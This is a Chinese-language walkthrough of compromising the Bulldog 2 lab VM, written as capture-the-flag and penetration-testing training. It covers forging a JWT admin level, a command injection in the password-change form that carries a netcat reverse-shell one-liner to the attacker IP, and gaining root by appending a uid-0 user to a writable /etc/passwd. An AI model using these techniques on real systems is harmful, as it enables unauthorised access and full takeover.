滲透測試實戰-bulldog 2靶機入侵
前言
大家好!愛寫靶機滲透文章的我又來了,因為是在工作閒暇時間做的靶機解題,所以更新可能會比較慢,為什麼這篇要寫在這個靶機吶?因為看到現在很多ctf和靶機都在使用nodojs出題,有可能會是個趨勢,所以碰到了就寫篇文章,讓大家以後有個認識。
靶機安裝/下載
bulldog 2靶機下載: ofollow,noindex" target="_blank">https://pan.baidu.com/s/1crkVi54RbhczmqyHw3W1XQ
bulldog 2靶機ip:172.16.24.78
攻擊者ip:172.16.24.89
第一步不用懷疑,肯定還是nmap 神器開路
可以看到該靶機只開放了80埠…, 下一部小夥伴們肯定是要探測目錄了
通過目錄猜解可以看到沒有發現什麼可利用的目錄,那根據個人經驗估計突破口肯定在js檔案裡,
我們訪問該靶機80埠,檢視其js的呼叫情況。如圖:
可以看到該靶機首頁呼叫了4個js檔案,我們分別訪問,美化一下看看(肯定有小夥伴要問了,為什麼要美化。。 因為不美化是這樣的,如圖

小弟這裡把這4個js檔案美化保持到本地, 下一步就是對其逐一進行審計檢視,我們在檢視頁面的時候可以看到,頁面上有個註冊功能,但是我們點選報錯。。。
我們使用 “register” 做為關鍵字對剛剛美化儲存的4個js檔案進行搜尋,可以看到有所發現,如圖:
根據js上的定義,我們可以使用 post提交 新賬戶資訊來完成註冊,但是注意這裡有2點要求:
- Content-Type 必須要是:application/json
- post 資料包內容處,必須要嚴格按照js程式碼裡的規範
post 資料包:
POST /users/register HTTP/1.1 Host: 172.16.24.78 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Sun, 15 Jul 2018 14:58:16 GMT If-None-Match: W/“465-1649e73083e” Content-Type: application/json Content-Length: 96 { “name”: “aqk”, “email”: “[email protected]”, “username”: “aqk”, “password”: “123456” }
可以看到返回true,註冊成功了,我們使用 “aqk”賬號來登陸一下看看,

可以看到已經成功登陸這個新賬戶的,但是沒辦法繼續利用啊,怎麼辦。我們先退出登陸,回到註冊點,在登陸看看,
1.先驗證使用者賬戶密碼,如圖:

2.賬號密碼正確後,該靶機傳遞一個奇怪的tonken,如圖:

下一步我們就來解密一下看這個tonken傳遞了什麼內容,我們可以去Google搜尋 “jwt 解密” (注:百度搜尋這個關鍵詞出現一堆有的沒的,谷歌搜尋第一條就是我們想要的。優秀)
解密網址: https://jwt.io
我們把那個tonken後面的編碼複製進去查詢一下看看,如圖:

可以看到一個可疑的引數:“auth_level”,通過名字就應該知道是判斷使用者許可權的,我們進行使用這個引數去剛剛儲存的幾個js檔案裡搜尋看看,如圖:
在743行程式碼處,看到它的判斷,下一步我們只需要把“master_admin_user” 替換掉原來的就行,如圖:

下一步就是複製修改後的新編碼替換原來的編碼,注:後面明文處也要修改成“master_admin_user”,如圖:

放包以後,我們成功已經變成了 admin 賬戶,
下一步突破口在修改密碼處,為什麼呢?因為前面測試的時候找到了其github上託管的程式碼,並發現在修改密碼的密碼處存在命令執行漏洞,如圖:
- 報錯資訊:
關鍵字“Bulldog-2-The-Reckoning”
2.github搜尋

3.發現漏洞
當然各位小夥伴們也可以不用這麼麻煩手動挖掘到這個漏洞,因為就那麼2個功能頁面。。。
下面我們就直接在修改密碼處執行漏洞拿反彈shell,如圖:

注:此處的反彈shell命令為:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.24.89 6666 >/tmp/f

成功拿到shell。
接下來肯定是提權了,相信看過小弟文章的都知道,該怎麼弄了,這次小弟寫個不一樣的。
1.切換到/etc,檢視passwd檔案讀寫許可權,如圖:

(注:命令出現重複,是特例,小夥伴們如果碰到這種情況,重新反彈一個shell回來就行,小弟懶,就算了…)
可以看到passwd檔案可以寫。。。 我們檢視一下使用者

下一步我們只需要新建一個root使用者就行,操作如下:
1.命令:perl -le ‘print crypt(“pass”, “aa”)’

2.複製 passwd檔案裡 root 使用者那列繼續修改,如圖
注:我們只需要修改3處:一個是名字、一個是剛剛編譯出來的密文、一個是跟名字一樣。此處的 0:0 切記不可修改,相信小夥伴們都瞭解過passwd檔案的對於的許可權型別
下一步我們就直接把這個新建立的使用者寫入passwd檔案裡即可,
確認一切都沒問題了,就可以直接輸入命令:su hack
密碼為剛剛設定的:pass
成功拿到root許可權,並拿到flag,如圖:

結語
不管是靶機的安全檢測還是平時的滲透測試工作,我們都不應該去忽略js檔案,可能有驚喜哦!多花點時間多考慮一個點,我相信你會有更多收穫!最後祝大家生活愉快,國慶節快樂!